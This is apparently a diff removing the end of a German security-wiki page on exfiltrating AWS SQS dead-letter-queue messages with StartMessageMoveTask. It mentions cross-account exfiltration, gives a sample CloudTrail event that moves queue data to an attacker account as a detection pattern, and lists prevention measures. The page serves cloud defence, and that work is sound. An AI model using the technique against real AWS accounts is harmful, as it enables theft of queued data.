-5. **Cross-Account-fähig**: Kann an das eigene AWS-Konto des Angreifers exfiltrieren, wenn Berechtigungen dies erlauben
-
-## Erkennung und Prävention
-
-### Erkennung
-Überwachen Sie CloudTrail auf verdächtige `StartMessageMoveTask` API-Aufrufe:
-```json
-{
-"eventName": "StartMessageMoveTask",
-"sourceIPAddress": "suspicious-ip",
-"userIdentity": {
-"type": "IAMUser",
-"userName": "compromised-user"
-},
-"requestParameters": {
-"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
-"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
-}
-}
-```
-### Prävention
-1. **Prinzip der geringsten Privilegien**: Beschränken Sie die Berechtigung `sqs:StartMessageMoveTask` auf nur notwendige Rollen
-2. **DLQs überwachen**: Richten Sie CloudWatch-Alarme für ungewöhnliche DLQ-Aktivität ein
-3. **Kontoübergreifende Richtlinien**: Überprüfen Sie SQS-Queue-Richtlinien, die kontoübergreifenden Zugriff erlauben, sorgfältig
-4. **DLQs verschlüsseln**: Verwenden Sie SSE-KMS mit eingeschränkten Schlüsselrichtlinien
-5. **Regelmäßige Bereinigung**: Lassen Sie sensible Daten nicht unbegrenzt in DLQs ansammeln
-
-{{#include ../../../banners/hacktricks-training.md}}